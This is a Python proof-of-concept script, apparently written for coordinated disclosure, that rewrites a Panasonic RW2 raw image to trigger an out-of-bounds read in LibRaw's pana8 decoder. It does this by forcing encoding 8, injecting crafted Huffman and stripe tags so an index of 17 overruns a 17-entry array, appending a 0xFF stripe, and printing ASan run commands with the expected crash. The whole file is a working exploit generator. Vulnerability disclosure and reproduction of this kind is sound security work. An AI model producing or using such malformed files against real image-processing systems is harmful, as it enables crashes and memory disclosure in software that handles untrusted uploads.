1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
| #!/usr/bin/env python3
"""
LibRaw pana8 OOB mutator - coordinated disclosure.
This file patches a Panasonic RW2 (RawFormat=4) to trigger the pana8
out-of-bounds read vulnerability by:
1. Patching tag 0x002d (pana_encoding) from 4 -> 8
2. Injecting pana8 tags 0x39-0x48 directly into IFD0
(Panasonic RW2 stores these in IFD0, not in MakerNote)
3. Crafting tag 0x40 so GetDBit() always returns 17 (OOB index)
4. Appending 0xFF stripe payload so pixbits MSB is always set
Trigger chain:
pana_encoding=8 -> panasonicC8_load_raw() -> pana8_decode_strip()
-> DecodeC8() -> GetDBit() returns 17
-> huff_coeff[17] accessed (array size=17, valid: 0-16) -> OOB READ
"""
import struct, sys
def u16(d,o): return struct.unpack_from('<H',d,o)[0]
def u32(d,o): return struct.unpack_from('<I',d,o)[0]
def p16(v): return struct.pack('<H', v & 0xFFFF)
def p32(v): return struct.pack('<I', v & 0xFFFFFFFF)
SHORT=3; LONG=4; UNDEFINED=7
def build_tag39():
"""0x39: UNDEFINED len=26, count(u16=6) + 6x uint32"""
b = p16(6) + p32(0)*6
assert len(b) == 26; return b
def build_tag3A():
"""0x3A: UNDEFINED len=26, count(u16=6) + 6x(u16 pad + u16 val)"""
b = p16(6)+p16(0)*12
assert len(b) == 26; return b
def build_tag40():
"""
0x40: UNDEFINED len=70
tag40a[i]=16, tag40b[i]=0 for all 17 entries.
Effect in pana8_param_t constructor:
huff_coeff[i] = (tag41[i]<<24)|(tag40a[i]<<16)|tag40b[i]
= (0<<24)|(16<<16)|0 = 0x00100000
hlow = (huff_coeff[i]>>16)&0x1F = 16
v8 computed: h7=16&7=0, hlow-1=15>=7
hdiff=0-16=-16 -> loop: v8=0xFF(hdiff=-8), v8=0xFFFF(hdiff=0)
v9 = 0x00100000 & 0xFFFF = 0x0000
hufftable2[i] = 0xFFFFULL<<(64-16) = 0xFFFF000000000000
hufftable1[i] = 0x0000<<(64-16) = 0x0000000000000000
GetDBit check: (0xFFFF000000000000 & pixbits) == 0
-> TRUE only when top 16 bits of pixbits are zero
-> FALSE when any top bit set (our 0xFF stripe ensures this)
All 17 checks fail -> returns 0^0x11=17 -> huff_coeff[17] OOB READ
"""
b = p16(17)
for _ in range(17): b += p16(16)+p16(0)
assert len(b) == 70; return b
def build_tag41():
"""0x41: UNDEFINED len=36, count(u16=17) + 17x tag41(u16)=0"""
b = p16(17)
for _ in range(17): b += p16(0)
assert len(b) == 36; return b
def build_tag44(stripe_file_offset):
"""0x44: UNDEFINED len=50, stripe_offsets[0]=stripe_file_offset"""
b = p16(1)+p32(stripe_file_offset)+p32(0)*4+b'\x00'*28
assert len(b) == 50; return b
def build_tag46(stripe_bits):
"""0x46: UNDEFINED len=50, stripe_compressed_size[0] in BITS"""
b = p16(1)+p32(stripe_bits)+p32(0)*4+b'\x00'*28
assert len(b) == 50; return b
def build_tag47(width):
"""0x47: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_widths + padding"""
b = p16(1)+p16(width & 0xFFFF)+p16(0)*4+b'\x00'*14
assert len(b) == 26; return b
def build_tag48(height):
"""0x48: UNDEFINED len=26, count(u16=1) + 5x u16 stripe_heights + padding"""
b = p16(1)+p16(height & 0xFFFF)+p16(0)*4+b'\x00'*14
assert len(b) == 26; return b
def read_ifd(data, ifd_off):
n = u16(data, ifd_off)
entries, o = [], ifd_off+2
for _ in range(n):
tag,typ,cnt,val = struct.unpack_from('<HHII', data, o)
entries.append((tag,typ,cnt,val))
o += 12
return entries
def find_tag(data, ifd_off, target):
for i,(tag,typ,cnt,val) in enumerate(read_ifd(data, ifd_off)):
if tag == target:
entry_offset = ifd_off + 2 + i*12
return entry_offset, tag, typ, cnt, val
return None
def mutate(input_path, output_path):
with open(input_path,'rb') as f:
data = bytearray(f.read())
print(f"[*] Input : {input_path} ({len(data):,} bytes)")
assert data[0:2] == b'II', "Expected little-endian TIFF"
ifd0_off = u32(data, 4)
print(f"[*] IFD0 @ 0x{ifd0_off:x} ({u16(data, ifd0_off)} entries)")
# --- 1. Patch pana_encoding: tag 0x002d -> 8 ---
r = find_tag(data, ifd0_off, 0x002d)
assert r, "Tag 0x002d not found"
eoff, _, _, _, old_val = r
struct.pack_into('<I', data, eoff+8, 8)
print(f"[*] Patched 0x002d: pana_encoding {old_val} -> 8")
# --- 2. Get image dimensions ---
r = find_tag(data, ifd0_off, 0x0003); raw_height = r[4] if r else 3088
r = find_tag(data, ifd0_off, 0x0002); raw_width = r[4] if r else 4816
print(f"[*] Dimensions: {raw_width} x {raw_height}")
# --- 3. Append stripe payload + tag blobs to end of file ---
def append(blob):
off = len(data); data.extend(blob); return off
# 0xFF stripe: ensures pixbits top bits are set -> GetDBit always returns 17
stripe_bytes = raw_width * raw_height * 2
stripe_off = append(b'\xFF' * stripe_bytes)
stripe_bits = stripe_bytes * 8 # panasonicC8_load_raw validates in bits
print(f"[+] Stripe 0xFF @ 0x{stripe_off:x} ({stripe_bytes:,} bytes)")
t39_off = append(build_tag39())
t3A_off = append(build_tag3A())
t40_off = append(build_tag40()) # <-- OOB trigger
t41_off = append(build_tag41())
t44_off = append(build_tag44(stripe_off))
t46_off = append(build_tag46(stripe_bits))
t47_off = append(build_tag47(raw_width))
t48_off = append(build_tag48(raw_height))
print(f"[+] tag40 (huff trigger) @ 0x{t40_off:x}")
print(f"[+] tag48 (stripe_height)@ 0x{t48_off:x} height={raw_height}")
# --- 4. Merge new pana8 tags into IFD0 ---
new_tags = {
0x0039: (UNDEFINED, 26, t39_off),
0x003A: (UNDEFINED, 26, t3A_off),
0x003B: (SHORT, 1, 0),
0x003C: (SHORT, 1, 0),
0x003D: (SHORT, 1, 0),
0x003E: (SHORT, 1, 0),
0x003F: (SHORT, 1, 0),
0x0040: (UNDEFINED, 70, t40_off),
0x0041: (UNDEFINED, 36, t41_off),
0x0042: (SHORT, 1, 1), # stripe_count=1
0x0043: (SHORT, 1, 1),
0x0044: (UNDEFINED, 50, t44_off),
0x0045: (UNDEFINED, 50, t44_off),
0x0046: (UNDEFINED, 50, t46_off),
0x0047: (UNDEFINED, 26, t47_off),
0x0048: (UNDEFINED, 26, t48_off),
}
# Merge with existing IFD0 entries, replacing any overlapping tags
existing = {tag:(typ,cnt,val) for tag,typ,cnt,val in read_ifd(data, ifd0_off)}
existing.update(new_tags)
merged = sorted(existing.items()) # ascending tag order (TIFF spec)
# --- 5. Write new IFD0 at end of file, update IFD0 pointer in header ---
new_ifd0_off = append(b'') # current end of file
ifd_blob = p16(len(merged))
for tag,(typ,cnt,val) in merged:
ifd_blob += struct.pack('<HHII', tag, typ, cnt, val)
ifd_blob += p32(0) # no next IFD
append(ifd_blob)
# Patch TIFF header IFD0 pointer to point to new IFD
struct.pack_into('<I', data, 4, new_ifd0_off)
print(f"[+] New IFD0 ({len(merged)} entries) @ 0x{new_ifd0_off:x}")
print(f"[+] TIFF header IFD0 pointer -> 0x{new_ifd0_off:x}")
# --- 6. Write output ---
with open(output_path,'wb') as f:
f.write(data)
print(f"\n[+] Written: {output_path} ({len(data):,} bytes)")
print(f"""
[*] Run:
ASAN_OPTIONS=halt_on_error=1:print_stats=1 \\
./bin/dcraw_emu -v {output_path}
[*] Expected ASan crash:
ERROR: AddressSanitizer: stack-buffer-overflow
READ of size 4 at ... in pana8_param_t::DecodeC8
pana8.cpp:250 huff_coeff[huff_index] where huff_index=17
""")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <input.rw2> [output.rw2]")
sys.exit(1)
mutate(sys.argv[1], sys.argv[2] if len(sys.argv)>2 else 'mutated_pana8.rw2')
|